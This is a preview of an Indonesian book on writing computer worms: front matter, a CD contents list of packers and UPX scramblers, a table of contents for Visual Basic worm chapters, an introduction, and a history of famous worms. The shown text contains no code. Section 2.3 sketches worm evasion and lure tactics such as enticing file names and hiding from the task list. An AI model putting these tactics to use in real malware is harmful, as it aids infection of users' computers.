• Tidak ada hasil yang ditemukan

Computer Worm 1 - Secret of Underground Coding

N/A
N/A
Protected

Academic year: 2019

Membagikan "Computer Worm 1 - Secret of Underground Coding"

Copied!
56
0
0

Teks penuh

(1)
(2)

Hak Cipta dilindungi Undang-Undang. Dilarang memperbanyak atau memindahkan sebagian atau seluruh isi buku ini dalam bentuk apapun, baik secara elektronis maupun mekanis, termasuk memfotocopy, merekam atau dengan sistem penyimpanan lainnya, tanpa izin tertulis dari Penulis dan Penerbit.

I S B N 9 7 9 - 1 0 9 0 - 0 1 - 7

Cetakan pertama : Juli 2006

Computer Worm 1 - Secret of Underground Coding

Hak Cipta © 2006 pada penulis

Ketentuan pidana pasal 72 UU No. 19 tahun 2002

1. Barang siapa dengan sengaja dan tanpa hak melakukan kegiatan sebagaimana dimaksud dalam pasal 2 ayat (1) atau pasal 49 ayat (1) dan ayat (2) dipidana dengan pidana penjara paling singkat 1 (satu) bulan dan/atau denda paling sedikit Rp. 1.000.000 (satu juta rupiah) atau pidana penjara paling lama 7 (tujuh) tahun dan/ atau denda paling banyak Rp. 5.000.000.000.00 (lima miliar rupiah).

2. Barang siapa dengan sengaja menyiarkan, memamerkan, mengedarkan, atau menjual kepada umum suatu Ciptaan atau barang hasil pelanggaran Hak Cipta atau Hak Terkait sebagaimana dimaksud pada ayat (1), dipi-dana dengan pidipi-dana penjara paling lama 5 (lima) tahun dan/atau denda paling banyak Rp. 500.000.000,00 (lima ratus juta rupiah)

Publisher

Jasakom

Web Site

http://www.jasakom.com/penerbitan

Email

[email protected]

Address

(3)
(4)

Buku ini disertai dengan sebuah CD pendukung yang berisi film

tutorial sehingga pembaca bukan saja hanya membaca buku tetapi juga bisa melihat langsung teknik pembuatan suatu worm komputer, kemudian kumpulan source code / listing code yang digunakan pada buku dan beberapa program pendukung sebagai berikut:

DEMOWARE

VM Ware 55.9 MB Virtual PC 17.1 MB DeepFreeze 2.06 MB ShadowUser 7.80 MB ASPack 297 KB UltraEdit 1.69 MB

FREEWARE

A Squared HijackFree 497 KB CXUPX 419 KB Darmal’s Packer 730 KB DOS 7.10 765 KB DropFile Script Generator 21.5 KB HHD Hex Editor 2.07 MB Icon Sucker Std 658 KB KillBox 67,5 KB Petite 117 KB Process Explorer 1.24 MB Registrar Lite 2.28 MB Resource Hacker 1.32 MB UPX 1.25 163 KB UPX Mutanter 38.9 KB UPX Scrambler 17.5 KB UPX Windows GUI 199 KB

(5)

Computer W

orm 1 - Secret of Underground Coding

Puji syukur ke hadirat Allah SWT, atas berkat dan rahmat-Nya pula sehingga penulis dapat menyelesaikan penulisan buku: Computer Worm ini dengan baik. Hingga buku ini selesai ditulis, penulis belum mendapatkan adanya buku yang khusus membahas mengenai worm komputer baik dengan mengunjungi ke toko-toko buku secara langsung maupun berkunjung secara online. Sedangkan hal ini sangat penting sekali, terlebih pada saat buku ini disusun dimana perkembangan dan tingkat penyebaran worm lokal di Indonesia sangat tinggi dan cende-rung semakin mengganas.

Ironisnya banyak sekali pengguna komputer yang tidak mengerti per-bedaan antara worm dan virus, sehingga worm seringkali diasumsikan sebagai suatu virus komputer dan banyak pula yang berasumsi bahwa worm merupakan suatu sub-class dari virus komputer, memang suatu kesalahan umum sehingga penulispun terkadang menggunakan istilah ini , lagipula penulis tidak berminat menjelaskan arti worm komputer (yang akan berbuntut dengan penjelasan panjang lebar tentang per-bedaannya dengan virus komputer) setiap kali penulis menyebutkan istilah worm komputer , penulis berpendapat momen inilah yang paling tepat untuk menjelaskannya kepada pembaca semua.

Buku ini bertujuan untuk menjelaskan kepada para pembaca, apa sesungguhnya worm komputer itu, apa perbedaanya dengan virus komputer, dan bagaimana worm tersebut diprogram.

(6)

Jasakom

vi

Computer W

orm 1 - Secret of Underground Coding

liknya memberi kesadaran kepada mereka yang senantiasa melakukan hal-hal negatif untuk menghentikan tindakan negatif tersebut, lebih baik lagi apabila mereka juga memberi kontribusi untuk menghentikan perkembangan worm komputer dan malcode lainnya di bumi pertiwi ini. Membahas pembuatan suatu worm memerlukan pengertian akan tanggung jawab moral yang besar, karena worm komputer dapat menimbulkan dampak yang sangat fatal dan merugikan maka penulis sangat mengharapkan kebaikan moral para pembaca, selain itu penulis tidak bertanggung jawab apabila ada penyalahgunaan atas informasi, script atau program-program yang disertakan bersama buku ini.

Dalam kesempatan ini, penulis mengucapkan terima kasih kepada kedua orang tua penulis, seluruh dosen POLNES (Politeknik Negeri Samarinda) khususnya untuk Bapak Ruslan Ardi dan Bapak Arkas Viddy, kemudian salam penulis untuk alumni SMK Negeri 1 Tarakan angkatan 95 – 98, dan alumni POLNES angkatan 98 – 2001, salam juga untuk teman-teman di AMIK PPKIA Tarakan. Tidak lupa pula penulis mengucapkan terima kasih kepada penerbit Jasakom yang berkenan menerbitkan buku ini, special thank’s buat S’to yang sudah banyak membantu dalam proses pembentukan buku.

Akhir kata penulis penulis menyadari adanya kekurangan-kekurangan pada buku ini, maka dengan tidak merendahkan diri, penulis meng-harapkan kritik dan saran yang bersifat membangun, untuk itu silah-kan kirim e-mail Anda ke alamat e-mail penulis di: achmad_darmal@ yahoo.com.sg, dengan subjek: worm komputer (untuk menghindari spam mail, penulis membuat agar e-mail dengan subjek lain akan segera dihapus secara otomatis).

"Dengan mengetahui, mengerti dan menguasai teknik pembuatan suatu virus, worm atau malcode lainnya, sesungguhnya sudah tidak dibutuhkan tutorial lain

(7)

Computer W

orm 1 - Secret of Underground Coding

KATA PENGANTAR v

BAB 1 PENDAHULUAN 1

BAB 2 MENGENAL WORM 5

2.1 ASAL MULA WORM KOMPUTER 6

2.2 PERBEDAAN WORM DAN VIRUS 8

2.3 KEMAMPUAN DASAR WORM 9

2.3.1 KEMAMPUAN REPRODUKSI DAN DISTRIBUSI 9

2.3.2 KEMAMPUAN REKAYASA SOSIAL 9

2.3.3 KEMAMPUAN MENYEMBUNYIKAN DIRI 10

2.3.4 KEMAMPUAN MENDAPATKAN INFORMASI 10

2.3.5 KEMAMPUAN MENGADAKAN MANIPULASI 10

2.4 SIKLUS HIDUP WORM 11

2.4.1 PROPAGATION PHASE ( FASE PENYEBARAN ) 11

2.4.2 DORMANT PHASE ( FASE ISTIRAHAT/TIDUR ) 11

2.4.3 TRIGERRING PHASE ( FASE AKTIF ) 11

2.4.4 EXECUTION PHASE ( FASE EKSEKUSI ) 11

2.5 PERKEMBANGAN WORM NON LOKAL 12

2.5.1 CHRISTMA EXEC 12

2.5.2 MORRIS 12

2.5.3 HAPPY99 13

2.5.4 MELISA 13

2.5.5 PRETTY PARK 14

2.5.6 EXPLORE ZIP 14

2.5.7 BUBBLE BOY 15

(8)

Jasakom

viii

Computer W

orm 1 - Secret of Underground Coding

2.5.10 ANNA KOURNIKOVA 17

2.6 PERKEMBANGAN WORM LOKAL 22

2.6.1 I-WORM PERKASA 22

BAB 3 REGISTRY WINDOWS 29

3.1 STRUKTUR REGISTRY 30

3.1.1 HIVE 31

3.1.2 VALUE 31

3.2 REGISTRY EDITOR (REGEDIT) 32

3.2.1 MEMBUKA APLIKASI REGISTRY EDITOR 32

(9)

Computer W

orm 1 - Secret of Underground Coding

3.3.3 MANIPULASI KEY & VALUE 35

3.3.4 PENCARIAN TEKS PADA KEY, VALUE ATAU DATA 37

3.3.5 MENGGUNAKAN PERINTAH BARIS (COMMAND LINE) 38

3.3.6 MEMANFAATKAN FILE REG 39

BAB 4 MENGENAL VISUAL BASIC 6.0 41

4.1 LINGKUNGAN KERJA VISUAL BASIC 42

4.1.1 MENUBAR 43

4.1.2 TOOLBAR 43

4.1.3 PROJECT EXPLORER 43

4.1.4 PROPERTIES WINDOWS 44

4.1.5 FORM LAYOUT WINDOW 44

4.1.6 TOOLBOX 44

4.1.7 FORM WINDOW 45

4.1.8 CODE WINDOW 45

4.2 PEMBUATAN APLIKASI 46

4.2.1 MEMBUAT PROYEK 46

4.2.2 MENYISIPKAN CONTROL 47

4.2.3 SETTING PROPERTIES 47

4.2.4 MENGETIK KODE PROGRAM 47

4.2.5 MENYIMPAN PROGRAM 48

4.2.6 MENJALANKAN PROGRAM 48

4.2.7 KOMPILASI PROGRAM MENJADI EXE 49

BAB 5 OBJECT FORM DAN CONTROL 51

5.1 FORM 53

5.2 KONTROL 54

(10)

Jasakom

x

Computer W

orm 1 - Secret of Underground Coding

5.2.4 FRAME 58

BAB 6 KODE PROGRAM 73

6.1 VARIABEL 74

6.1.1 IMPLICIT 75

6.1.2 EXPLICIT 76

6.2 STATEMENTS AND EXPRESSIONS 77

6.3 OPERATOR 78

6.3.1 OPERATOR PENUGASAN (ASSIGNMENT) 78

6.3.2 OPERATOR ARITMATIKA 78

6.3.3 OPERATOR KOMPARASI 79

6.3.4 OPERATOR LOGIKA 80

6.4 PERCABANGAN (BRANCHING) 81

6.4.1 PERCABANGAN IF/THEN/ELSE 81

6.4.2 PERCABANGAN SELECT CASE 82

6.4.3 PERCABANGAN GOSUB/RETURN 83

6.4.4 PERCABANGAN GOTO 83

(11)

Computer W

orm 1 - Secret of Underground Coding

6.5.3 DO/LOOP WHILE 85

6.5.4 DO/LOOP UNTIL 86

6.5.5 FOR/NEXT 86

6.6 PENGHENTIAN (TERMINATING) 87

6.6.1 END 87

6.6.2 EXIT 87

6.6.3 STOP 88

6.7 ARRAY 88

6.7.1 DEKLARASI DENGAN VARIABEL TUNGGAL 88

6.7.2 DEKLARASI DENGAN KEYWORD TO 89

6.8 PENANGANAN FILE 90

6.8.1 MENGUBAH NAMA DAN MEMINDAH FILE 90

6.8.2 MEMBUAT SALINAN / MENG-COPY FILE 91

6.8.3 MENGHAPUS FILE 91

6.8.4 MELIHAT DAN MENGUBAH ATRIBUT PADA FILE 92

6.8.5 MENGETAHUI BESAR FILE 93

6.8.6 MENGETAHUI TANGGAL DAN WAKTU FILE 94

6.8.7 MENGETAHUI DRIVE DAN DIREKTORI AKTIF 94

6.8.8 MENGATUR DRIVE AKTIF 95

6.8.9 MENGATUR DIREKTORI AKTIF 95

6.8.10 MEMBUAT DIREKTORI BARU 96

6.8.11 MENGHAPUS DIREKTORI 96

6.8.12 MENGUBAH NAMA DIREKTORI 97

6.9 OPERASI FILE TEXT 97

6.9.1 MEMBUAT FILE TEXT 97

6.9.2 MEMBACA FILE TEXT 98

6.10 OPERASI FILE BINARY 99

6.10.1 MEMBUAT FILE BINARY 99

(12)

Jasakom

xii

Computer W

orm 1 - Secret of Underground Coding

BAB 7 WORM WSar.1 103

7.1 WORM DASAR 1 105

7..2 ALGORITMA 106

7.3 PEMROGRAMAN 106

BAB 8 WORM WSar.2 117

8.1 ALGORITMA 117

8.2 PEMROGRAMAN 118

BAB 9 WORM WSar.3 125

9.1 ALGORITMA 125

9.2 PEMROGRAMAN 126

BAB 10 WORM WSar.4 135

10.1 ALGORITMA 135

10.2 PEMROGRAMAN 136

BAB 11 WORM WSar.5 151

11.1 ALGORITMA 152

11.2 PEMROGRAMAN 153

BAB 12 WORM WSar.6 165

12.1 ALGORITMA 166

12.2 PEMROGRAMAN 166

BAB 13 WORM WSar.7 179

13.1 COMPARISON METHODE 180

13.2 ALGORITMA 191

(13)

Computer W

orm 1 - Secret of Underground Coding

14.3 POLYMORPHIC METHODE 212

14.4 ALGORITMA 214

14.5 PEMROGRAMAN 215

BAB 15 WORM WSar.9 243

15.1 DROP FILE METHODE 244

15.2 ALGORITMA 250

(14)
(15)

Bab 1. Pendahuluan

BAB 1

PENDAHULUAN

S

eiring dengan pesatnya kemajuan teknologi informasi khususnya dibidang teknologi komputer dan jaringan, keamanan menjadi isu yang kerap kali dibahas, mulai dari ancaman langsung para cracker atau hacker jahat hingga ancaman yang dilakukan melalui suatu program yang disebut malcode (malicious code). Suatu program atau script apapun yang bersifat merusak atau merugikan dapat dikategorikan sebagai malcode termasuk virus komputer, worm atau trojan horse.

Maraknya penyebaran virus, worm atau trojan horse, ternyata semakin memberikan semangat bagi para pembuat worm lokal untuk terus

(16)

2

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 1. Pendahuluan

Worm ini kemudian oleh salah satu perusahaan antivirus terkenal diberi nama w32/pesin.worm.gen, bersamaan dengan munculnya varian-varian worm Pesin yang baru, ikut muncul sejumlah worm lokal lainnya seperti diberitakan sebuah situs Indonesia yang konsen terhadap malcode, www.vaksin.com.

Bahkan pada saat buku ini ditulis, aktifitas worm di Indonesia semakin

meningkat, terbukti dari sejumlah forum, penulis menemukan beberapa posting yang menunjukan adanya gejala-gejala penyebaran worm lokal yang baru. Motif yang digunakan semakin beragam, mulai dari hanya sekedar "pamer", sampai dengan pengrusakan dan pencurian data.

Media penyebaran pun semakin canggih mulai dari disket, USB flash

disk sampai dengan jaringan termasuk internet. Namun satu hal yang pasti, penyebaran worm tersebut telah membawa dampak yang cukup besar bagi para pengguna komputer baik materiil maupun non mate-riil.

Penulis berharap buku ini dapat menambah pengetahuan bagi pengge-mar TI, system administrator atau siapa saja yang selalu menggunakan komputer, dan bukan untuk mengajari hal-hal negatif kepada para pemula, tapi sebaliknya memberi kesadaran kepada mereka yang senantiasa melakukan hal-hal negatif untuk menghentikan tindakan negatif tersebut. Lebih baik lagi apabila mereka juga memberi kontri-busi untuk menghentikan perkembangan worm komputer dan malcode lainnya di bumi pertiwi ini.

Buku ini akan menunjukan bagaimana seorang worm writer membuat suatu worm komputer, dan bagaimana memerangi worm tersebut dengan cara yang nyaris sama. Secara umum buku ini akan membi-carakan tujuh hal bidang utama, yaitu:

1. Mengenal worm komputer

2. Menggunakan registry pada Microsoft Windows 3. Menggunakan Visual Basic 6.0

(17)

Bab 1. Pendahuluan

Buku ini juga disertai sebuah CD yang berisi video tutorial untuk menambah pemahaman Anda dalam mempelajari buku ini, kemudian kumpulan source code yang digunakan sebagai latihan dan beberapa program-program pendukung.

Perlu Anda ketahui bahwa seluruh software tersebut berlisensi free-ware (gratis) dan freetrial (gratis coba) sehingga Anda tidak dikenakan biaya apapun untuk software tersebut kecuali biaya CD dan ongkos pembuatannya, penulis tak lebih hanya men-download-kannya untuk Anda.

Membahas pembuatan suatu worm memerlukan pengertian akan tang-gung jawab moral yang besar, karena worm komputer dapat menim-bulkan dampak yang sangat fatal dan merugikan maka penulis sangat mengharapkan kebaikan moral para pembaca. Selain itu, penulis tidak bertanggung jawab apabila ada penyalahgunaan atas informasi, script atau program-program yang disertakan bersama buku ini.

"Dengan mengetahui, mengerti dan menguasai teknik pembuatan suatu virus, worm atau malcode lainnya, sesungguhnya sudah tidak dibutuhkan tutorial lain

(18)
(19)

Bab 2. Mengenal Worm

BAB 2

MENGENAL WORM

Kenapa bab ini ada?

(20)

6

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 2. Mengenal Worm

2.1 ASAL MULA WORM KOMPUTER

G

agasan worm dan virus berawal pada tahun 1949, saat seorang founder Electronic Discrete Variable Automatic Computer (EDVAC), John Von Newman, memaparkan dalam sebuah papernya yang berjudul "Theory and Organization of Complicated Automata", dibahas suatu kemungkinan bahwa suatu program dapat melakukan penyebaran dengan sendirinya.

Kemudian pada tahun 1960-an, para peneliti AT&T Bell Laboratory membuat semacam permainan dengan menciptakan suatu program yang dapat memusnahkan program ciptaan lawan, dan mampu ber-tahan terhadap serangan program lawan lainnya.

Pada akhirnya si-pemenang adalah pemilik program yang tersisa paling banyak. Para peneliti sadar akan bahaya program tersebut, maka setiap selesai permainan program tersebut selalu dimusnahkan.

Cikal bakal program worm pertama kali dibuat oleh Bob Thomas pada tahun 1971. Program ini merupakan solusi dari kebutuhan system kendali lalu lintas udara.

Program ini akan membantu mengingatkan operator apabila pengendalian suatu pesawat udara berpindah dari satu komputer ke komputer lainnya. Sesungguhnya program yang disebut "creeper" ini hanya berpindah dari layar ke layar pada jaringan, dengan menampil-kan pesan "I’m creeper! Catch me if you can!". Tetapi program creeper tidak mereproduksi dirinya sendiri, hingga beberapa programmer lain mencoba membuat program serupa, tetapi gagasan tersebut berang-sur-angsur hilang dalam beberapa bulan kemudian.

Istilah "virus" mungkin sudah tidak asing terdengar, dapat dikatakan hampir setiap orang yang mengenal komputer juga mengenal istilah ini, sementara istilah "worm" tidak begitu dikenal, padahal istilah ini diciptakan oleh John Shoch dan Jon Hupp di Xerox PARC (Palo Alto Research Centre) pada tahun 1979 sebelum istilah virus komputer dipublikasikan.

Istilah worm ini ternyata diilhami oleh suatu program "tapeworm"

(21)

Bab 2. Mengenal Worm

pemerintahan totaliter yang mengendalikan warga negaranya melalui suatu jaringan komputer.

Untuk memerangi hal itu akhirnya seorang pahlawan dalam novel tersebut kemudian memenuhi jaringan dengan suatu program yang disebut "tapeworm" sehingga memaksa mematikan jaringan komputer yang secara otomatis juga menghilangkan kendali pemerintah terha-dap warga negaranya.

Kemudian diawal tahun 1980 John Shoch dan Jon Hupp mengadakan sebuah penelitian dengan mengembangkan lima buah program worm, masing-masing worm dibuat dengan tujuan tertentu yang membantu jaringan disekitarnya.

Beberapa worm terlihat sederhana, seperti worm "town crier" yang bertugas memasuki jaringan hanya untuk menampilkan pengumu-man. Worm lainnya terlihat lebih kompleks dan pintar, seperti worm "vampire".

Worm ini tidak akan melakukan kegiatan pada siang harinya, tetapi saat malam hari worm akan melakukan suatu kegiatan tertentu yang telah terprogram sebelumnya, ini berguna untuk memanfaatkan komputer yang tidak bekerja pada malam hari dengan memberikan tugas yang kompleks dan memerlukan daya proses yang lebih. Saat fajar, worm akan menghentikan pekerjaannya dengan terlebih dahulu menyimpan seluruh pekerjaan yang dilakukannya malam itu dan menunggu sore berikutnya.

Walau bagaimanapun, walaupun program ini berguna tapi disadari bahwa program ini juga akan sangat berbahaya apabila salah digu-nakan. Hal ini terbukti saat sebuah worm mengalami malfungsi pada suatu malam dan keesokan harinya para pekerja menemukan seluruh komputer yang ada pada jaringan tersebut mengalami crash (suatu kerusakan dimana system output dan input tidak berfungsi).

(22)

8

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 2. Mengenal Worm

2.2 PERBEDAAN WORM DAN VIRUS

Istilah "virus" selalu digunakan sebagai suatu acuan umum untuk setiap malcode (program atau script yang dibuat dengan tujuan mem-bahayakan atau merugikan sebuah system komputer), seperti worm, trojan bahkan hoax yang sesungguhnya bukan sebuah virus komputer, berikut adalah beberapa jenis malcode tersebut:

1. Computer virus: merujuk pada program yang memiliki kemam-puan untuk ber- reproduksi, menulari program lain dan

menjadi-kan file-file program tertular sebagai file infector.

2. Computer worm: merujuk pada program independen yang memiliki kemampuan untuk ber-reproduksi, menulari system komputer dan walaupun mampu untuk menulari program lain

namun tidak bertujuan untuk menjadikan file tertular tersebut sebagai suatu file infector.

3. Trojan horse: merujuk pada program independen yang tampaknya berguna, dan ketika dieksekusi, tanpa sepengetahuan pengguna, juga melaksanakan fungsi-fungsi yang bersifat destruktif dan merugikan.

4. Malicious toolkits: merujuk pada program yang didesain untuk membantu menciptakan program-program yang dapat memba-hayakan sebuah system komputer. Contoh dari program jenis ini adalah tool pembuat virus dan program yang dibuat untuk membantu proses cracking atau hacking.

Dari beberapa keterangan diatas dapat diperjelas bahwa worm adalah suatu algoritma atau program yang mereproduksi diri sendiri dari system ke system dengan menggunakan media penyimpanan atau suatu jaringan.

(23)

Bab 2. Mengenal Worm

tanpa interaksi user, bisa merusak sebuah data secara langsung atau menurunkan kinerja system dengan "mengikat" sumber daya system komputer dan bahkan bisa mematikan sebuah jaringan. Berbeda

dengan virus yang melakukan infeksi dengan 'menumpang’ pada file program lain, menunggu interaksi user dan menjadikan file terinfeksi sebagai file infector.

2.3 KEMAMPUAN DASAR WORM

Worm umumnya memiliki kemampuan-kemampuan dasar berikut ini:

2.3.1 KEMAMPUAN REPRODUKSI DAN DISTRIBUSI

Yaitu kemampuan yang mutlak dimiliki suatu worm untuk membuat salinan dirinya, sekaligus mendistribusikan salinan tersebut pada system yang lain baik melalui media penyimpanan seperti disket,

USB flash disk maupun melalui suatu jaringan komputer. Walaupun

memiliki rutin untuk menginfeksi program lain namun tidak bertujuan

menjadikan file program terinfeksi menjadi suatu file infector.

Pada awalnya worm dibuat dengan aksi memenuhi harddisk dan jaringan, namun seiring dengan perkembangan teknologi informasi hal ini akhirnya banyak ditinggalkan worm writer karena malah akan mengurangi kemampuannya untuk menyembunyikan diri, yang akan berakibat worm tersebut cepat "terendus" oleh advanced user atau bahkan perusahaan-perusahaan antivirus.

2.3.2 KEMAMPUAN REKAYASA SOSIAL

Karena file infector worm akan aktif saat user mengeksekusinya maka

(24)

10

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 2. Mengenal Worm

Layaknya seorang penjual yang mati-matian merayu calon pembeli maka worm akan 'merias’ programnya dengan icon dan nama yang sangat memikat agar user mengeksekusinya. Suatu worm bisa saja

membuat salinan dirinya dengan nama file 'porno’ dan dengan gambar

icon yang sangat tidak mencurigakan.

2.3.3 KEMAMPUAN MENYEMBUNYIKAN DIRI

Menjaga tetap tidak diketahui adalah penting untuk worm jaman seka-rang agar tetap bertahan pada suatu system. Hal ini biasanya dilaku-kan dengan cara tidak menampildilaku-kan sesuatu dari worm baik berupa suara maupun tampilan visual, menyembunyikan program worm dari taskbar bahkan dari jendela tasklist.

2.3.4 KEMAMPUAN MENDAPATKAN INFORMASI

Suatu worm harus bisa mendapatkan informasi yang ia butuhkan, seperti jenis sistem operasi yang digunakan, direktori root, direktori System Windows bahkan worm umumnya memeriksa suatu system apakah telah terpasang antivirus atau tidak, lebih jauh lagi worm akan berusaha mengenali jenis antivirus yang terpasang.

2.3.5 KEMAMPUAN MENGADAKAN MANIPULASI

(25)

Bab 2. Mengenal Worm

2.4 SIKLUS HIDUP WORM

Siklus hidup worm secara umum, melalui 4 tahap:

2.4.1 PROPAGATION PHASE ( FASE PENYEBARAN )

Pada fase ini worm akan membuat salinan dirinya ke suatu tempat,

baik pada media penyimpanan fix disk (tetap) atau removable disk

(dapat dipindahkan), adapun penyebarannya dapat dilakukan pada system lokal, jaringan atau internet.

2.4.2 DORMANT PHASE ( FASE ISTIRAHAT/TIDUR )

Pada fase ini worm tidaklah aktif. Worm akan diaktifkan oleh suatu kondisi tertentu, semisal: tanggal yang ditentukan, kehadiran program lain/dieksekusinya program lain, dan sebagainya. Tidak semua worm melalui fase ini.

2.4.3 TRIGERRING PHASE ( FASE AKTIF )

Di fase ini worm tersebut akan aktif dan menetap pada memory, hal ini dipicu oleh metode launcher yang digunakan worm tersebut.

2.4.4 EXECUTION PHASE ( FASE EKSEKUSI )

Pada fase inilah worm yang telah aktif tadi akan melakukan fungsinya.

(26)

12

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 2. Mengenal Worm

2.5 PERKEMBANGAN WORM NON LOKAL

Berikut ini beberapa catatan singkat tentang worm yang pernah ada dan membuat banyak kerugian para pengguna komputer.

2.5.1 CHRISTMA EXEC

Pada tanggal 9 Desember 1987, worm "Christma Exec" menjadi worm pertama yang mampu menyebar dengan menggunakan media e-mail diantara komputer mainframe IBM. Worm ini juga menjadi contoh penggunaan social engineering, dengan mengajak user untuk mengek-sekusi worm tersebut dengan dalih akan menampilkan gambar pohon natal.

Worm tersebut memang menghasilkan gambar pohon natal pada layar monitor (digambar dengan menggunakan bahasa script yang disebut Rexx), tetapi worm tersebut juga mengirimkan salinan dirinya dengan menggunakan nama user kepada setiap nama yang ada pada daftar e-mail penerima, sehingga penerima percaya bahwa e-mail yang dikirimkan tersebut adalah benar dari user yang dikenal dan bersedia membukanya.

2.5.2 MORRIS

Pada tanggal 2 Nopember 1988, worm Morris yang terkenal pada waktu itu berhasil melumpuhkan 6.000 komputer dalam beberapa jam. Worm tersebut dibuat oleh seorang siswa Cornell, Robert Morris Jr. Kemudian diadakan penyelidikan, sampai akhirnya Morris dijatuhkan hukuman pada tahun 1990.

Kesimpulan yang diperoleh adalah motivasi dalam menulis worm tersebut tidak diketahui dan worm tidak diprogram untuk sengaja melakukan pengrusakan, tetapi kerusakan yang ditimbulkan disebab-kan oleh kecelakaan dan kesalahan pemrograman.

(27)

Bab 2. Mengenal Worm

menyebar dengan memanfaatkan e-mail dan mengeksploitasi system untuk mendapatkan hak akses dengan berusaha mencari account user name dan password.

2.5.3 HAPPY99

Pada bulan Januari 1999, worm happy99 menyebar lewat e-mail dengan

attachment sebuah file aplikasi bernama happy99.exe. Ketika file terse -but dieksekusi tampil gambar kembang api untuk memperingati tahun

baru 1999, tetapi secara diam-diam memodifikasi file WSOCK32.DLL (file system untuk koneksi internet) dengan suatu program trojan horse

yang mengijinkan worm tersebut menyisipkan dirinya pada proses

komunikasi internet, sementara file WSOCK32.DLL yang asli diubah

kembali namanya menjadi WSOCK32.SKA

2.5.4 MELISA

Di bulan Maret 1999, sebuah virus macro "Melisa" kembali meresahkan pengguna internet dengan menginfeksi 100.000 unit komputer hanya dalam waktu tiga hari.

Virus tersebut memulai penyebarannya dengan pengiriman perdana ke Usenet Newsgroup "alt.sex" yang menjanjikan account name berikut password untuk dapat mengakses sebuah situs erotis. Sebuah

perusahaan antivirus Norton menyebutkan bahwa virus ini adalah penggabungan antara worm dan virus.

Mellisa menyertakan sebuah file attachment berupa file dokumen

Word yang terinfeksi. Ironisnya saat itu masih banyak yang percaya bahwa dengan membuka sebuah e-mail tidak dapat menginfeksi se-buah komputer.

(28)

14

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 2. Mengenal Worm

Virus kemudian mencari sebuah key pada registry yang mengandung kata "kwyjibo", apabila key tersebut tidak ditemukan, virus akan mengeksekusi aplikasi Outlook dan berusaha mengirimkan salinan dirinya kepada 50 penerima yang ada pada address book (buku alamat)

aplikasi Outlook. Sebagai tambahan virus menulari file template aplikasi Word "normal.dot" menggunakan fitur VBA macro "Auto Execute", file dokumen yang berasal dari file template tersebut akan

membawa serta virus tersebut.

2.5.5 PRETTY PARK

Sebuah worm lainnya menyebar luas dimusim panas tahun 1999. Worm yang dinamakan "Pretty-Park" ini menyertakan attachment

berupa file "Pretty Park.exe". Tidak ada penjelasan pada attachment, hanya saja file tersebut menggunakan icon bergambar seekor beruang,

yang merupakan sebuah karakter pada suatu pertunjukan televisi "South Park".

Jika dieksekusi, worm menginstal dirinya ke direktori System Windows

dan memodifikasi registry yang membuat worm tersebut aktif saat file

ber-ekstensi "exe" apa saja dieksekusi. Hal ini menjadi permasalahan bagi program antivirus, yang tentunya juga ber-ekstensi "exe".

Worm juga mengirimkan salinan dirinya pada alamat e-mail yang ada pada buku alamat Windows. Pretty Park kemudian berusaha mengirimkan beberapa data system dan password pada sebuah server IRC (internet relay chat) tertentu, terakhir dilaporkan bahwa worm ini memasang suatu backdoor.

2.5.6 EXPLORE ZIP

Pada bulan Juni tahun 1999, muncul sebuah worm bernama "ExploreZip"

yang menyamar sebagai file zip (file terkompresi) dalam attachment

sebuah e-mail yang jika dieksekusi akan menampilkan pesan kesala-han. ExploreZip secara diam-diam menyalin dirinya kedalam direktori

(29)

Bab 2. Mengenal Worm

Seperti worm lainnya, ExploreZip juga melakukan penyebaran lewat e-mail dengan memanfaatkan aplikasi Outlook atau Exchange, dengan mengawasi e-mail yang masuk dan membalas e-mail tersebut dengan salinan dirinya.

pada tanggal 9 Januari 2003 ExploreZip kemudian dilaporkan meng-hasilkan varian baru. Varian ini bernama ExploreZip.N varian dan cu-kup merepotkan pengguna komputer di Indonesia. Salah satu metode penyebarannya menggunakan e-mail yang memiliki attachment berupa

file ZIPPED_FILES.EXE saat file ini dieksekusi maka worm menginstal

dirinya sendiri pada system Windows.

Worm ini meng-overwrite (menimpa) file dokumen dengan ekstensi

DOC (Microsoft Word), XLS (Microsoft Excel), PPT (Microsoft Power-point), ASM (Assembler), CPP (C++), C (File C), H (Header C) sehingga

file-file tersebut sulit untuk diselamatkan.

2.5.7 BUBBLE BOY

Awal tahun 2000, muncul sebuah virus yang membawa sebuah konsep baru "BubbleBoy". Virus ini menunjukkan bahwa sebuah komputer dapat tertular hanya dengan melihat e-mail, tanpa harus membuka pesannya.

Virus ini mengambil keuntungan dengan adanya celah keamanan pada aplikasi Internet Explorer, yang secara otomatis mengeksekusi script Visual Basic yang terdapat pada body e-mail. Virus akan datang sebagai

sebuah e-mail dengan subjek "BubbleBoy is back", pesan berbentuk file

HTML dan mengandung script virus dalam bahasa Visual Basic.

(30)

16

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 2. Mengenal Worm

2.5.8 LOVE LETTER

Dibulan Mei 2000, lajunya penyebaran worm "LoveLetter"

menun-jukkan efektifitas serangan dengan metode social engineering, yang

hingga saat ini sudah menjadi suatu kebiasaan suatu worm dalam penyebarannya.

E-mail yang berisi worm ini memiliki subjek "I Love You" yang berarti "Saya Cinta Kamu" dan berisi pesan-pesan yang mendorong user untuk mengeksekusi attachment yang merupakan worm tersebut. File attach-ment berupa Visual Basic Script yang bisa dieksekusi dengan Windows Script Host (bagian dari Windows98, Windows2000, Internet Explorer 5, atau Outlook 5).

Ketika dieksekusi, LoveLetter menginstal dirinya kedalam direktori

System Windows dan memodifikasi registry untuk memastikan bahwa

worm akan aktif saat komputer dihidupkan. Ketika komputer lainnya terinfeksi, dan jika aplikasi Outlook terinstal pada komputer tersebut, maka worm akan mengirimkan salinannya pada siapa saja yang ada pada address book aplikasi Outlook.

Sebagai tambahan worm akan membuat koneksi IRC dan mengirimkan salinan dirinya pada siapa saja yang bergabung pada saluran IRC terse-but. LoveLetter juga memiliki kemampuan untuk mencuri password.

Dengan mengubah home page (alamat url yang akan diakses pertama kalinya) pada Internet Explorer ke suatu website di Asia, worm akan mengusahakan agar suatu trojan horse di download dari website tersebut, dimana trojan horse tersebut akan mengumpulkan password e-mail dan mengirimkannya ke suatu alamat di Asia.

2.5.9 HYBRIS

